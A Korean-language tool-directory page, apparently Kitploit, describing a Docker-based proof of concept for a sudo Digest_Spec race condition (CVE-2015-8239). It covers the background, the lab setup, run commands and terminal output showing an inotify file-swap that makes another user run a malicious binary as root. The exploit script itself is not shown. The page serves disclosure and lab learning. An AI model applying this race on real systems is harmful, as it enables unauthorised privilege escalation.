Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
sudo_digest_toctou_poc_CVE-2015-8239 — inotify를 사용하여 교차 사용자 파일 교체 공격을 수행하는 sudo의 Digest_Spec 기능(CVE-2015-8239)에 대한 TOCTOU 경쟁 조건 악용을 보여주는 Docker 기반 개념 증명입니다. | Kitploit
도구/GitHubGitHub/justinsteven/sudo_digest_toctou_poc_cve-2015-8239
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationLabs & Practice
GitHubjustinsteven/sudo_digest_toctou_poc_cve-2015-8239

sudo_digest_toctou_poc_CVE-2015-8239

inotify를 사용하여 교차 사용자 파일 교체 공격을 수행하는 sudo의 Digest_Spec 기능(CVE-2015-8239)에 대한 TOCTOU 경쟁 조건 악용을 보여주는 Docker 기반 개념 증명입니다.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
25년 전아직 검토되지 않음

sudoers Digest_Spec TOCTOU 개념 증명

배경

Alyssa Milburn (https://twitter.com/noopwafel)이 Digest_Spec 설정이 사용될 때 sudo에서 TOCTOU 레이스 컨디션 버그를 발견했습니다. Digest_Spec 설정은 사용자가 바이너리의 해시가 지정된 값과 일치하는 경우에만 sudo를 사용할 수 있도록 하는 데 사용됩니다. 이 기능에 대한 자세한 내용은 man sudoers를 참조하고 Digest_Spec을 검색하세요. Alyssa가 발견한 버그에 대한 자세한 내용은 http://noopwafel.net/notes/2015/sudo-digest-race-condition.html를 참조하세요. 이 문제는 CVE-2015-8239로 지정되었습니다.

이 문제는 man sudoers에 레이스 컨디션 가능성에 대한 경고 문서를 추가하고, 특정 유형의 파일 수정이 효과적이지 않도록 sudo에 fexecve() 매직을 추가하여 완화되었습니다.

흥미롭게도, cve-assign은 https://seclists.org/oss-sec/2015/q4/256에서 다음과 같이 말했습니다:

root@kitploit:~
As far as we know, the Digest_Spec feature can be useful if the user
invoking sudo doesn't have write access to the program file, but a
second (and potentially untrusted) user does have write access to the
program file. In the envisioned scenario, the second user is not
allowed to use sudo, the second user has no way to predict when anyone
else may use sudo, and the second user cannot use their write access
often. Thus, if the second user attempts a file-replacement attack,
the attack will almost certainly occur at an ineffective instant of
time, and the Digest_Spec feature will successfully prevent the
attacker's desired outcome.

이 POC는 "writer" 사용자가 시스템에서 지속적인 코드를 실행할 수 있다면 이 진술이 반드시 사실이 아님을 보여줍니다. "writer" 사용자는 inotify를 활용하여 "executor" 사용자가 sudo를 사용하여 파일을 실행하는 시점을 감지하고 그 시점에 파일 교체 공격을 시도할 수 있습니다.

개요

이 프로젝트는 다음을 수행하는 Docker 이미지를 생성합니다:

  • /opt/sudoable에 파일이 있으며, 이 파일은 editor 사용자가 쓰기 가능하고, SHA256 해시가 특정 값과 일치하는 경우에만 executor 사용자가 sudo를 사용할 수 있습니다.
  • /opt/hello("좋은" 파일, SHA256 해시가 sudoers에 포함됨)와 /opt/goodbye("악의적인" 파일)에 파일이 있습니다.
  • /opt 디렉토리는 root 사용자만 쓰기 가능합니다(따라서 editor 사용자는 /opt/sudoable의 _내용_을 교체할 수 있지만 파일 시스템 수준의 파일 교체 작업은 수행할 수 없습니다).
  • /home/editor/exploit/exploit.py에 inotify 기반 TOCTOU 익스플로잇이 있습니다.

editor 사용자가 /home/editor/exploit/exploit.py를 실행하면, inotify를 사용하여 파일 시스템 이벤트를 모니터링합니다. /opt/sudoable 파일이 접근되면 /opt/goodbye로 교체됩니다. 파일이 닫힌 후에는 /opt/hello로 다시 교체되어 "정상" 상태로 되돌려 놓습니다.

executor 사용자가 sudo /opt/sudoable을 실행할 때 이 레이스가 성공한다고 가정하면(제 머신에서는 대부분의 경우 성공합니다), editor 사용자는 SHA256 해시가 sudoers 내에서 Digest_Spec 값으로 지정되어 있음에도 불구하고 executor 사용자가 악성 바이너리를 root로 실행하도록 만들 수 있습니다.

빌드

make all 실행

실행

  1. ./instantiate.sh 실행
  2. tmux new-session 실행하고 창 분할(Ctrl+b 후 "; Ctrl+b 후 위/아래 화살표로 창 전환)
  3. 위쪽 창에서 sudo -u executor sudo /opt/sudoable 실행하고 출력 Hello uid=0 확인
  4. 아래쪽 창에서 sudo -u editor cp /opt/goodbye /opt/sudoable 실행
  5. 위쪽 창에서 sudo -u executor sudo /opt/sudoable 실행하고 비밀번호를 묻는 것을 확인(즉, 다이제스트 불일치로 sudo 작업 실패)
  6. 아래쪽 창에서 sudo -u editor /home/editor/exploit/exploit.py 실행
  7. 위쪽 창에서 sudo -u executor sudo /opt/sudoable을 여러 번 실행하고 가끔 Goodbye uid=0 출력 확인

출력 예시

위쪽 창:

root@kitploit:~
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Hello uid=0

아래쪽 창:

root@kitploit:~
root@c600efec2da8:/# sudo -u editor cp /opt/goodbye /opt/sudoable

위쪽 창:

root@kitploit:~
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for executor:

아래쪽 창:

root@kitploit:~
root@c600efec2da8:/# sudo -u editor /home/editor/exploit/exploit.py

위쪽 창:

root@kitploit:~
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for executor:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
sudo: unable to execute /opt/sudoable: Text file busy

추가 작업

fexecve() 완화가 실제로 효과적인 경우는 언제입니까? 사용자가 sudoable 파일에 대한 쓰기 권한은 있지만 해당 디렉토리에 대한 쓰기 권한이 없는 경우, sudo가 연 파일을 수정할 수 있습니다. 사용자가 디렉토리에 대한 쓰기 권한은 있지만 파일에 대한 권한이 없는 경우, 파일을 옮기고 다시 생성하여 수정할 수 있으며, 이는 원점으로 돌아가게 됩니다.

감사

Digest_Spec 설정에 대해 알려주고, 아이디어를 교환해 주고, 깔끔한 교차 사용자 POC를 위해 inotify를 사용하는 아이디어를 생각해 준 Luke(https://twitter.com/lukejahnke)에게 감사드립니다.

도구 다운로드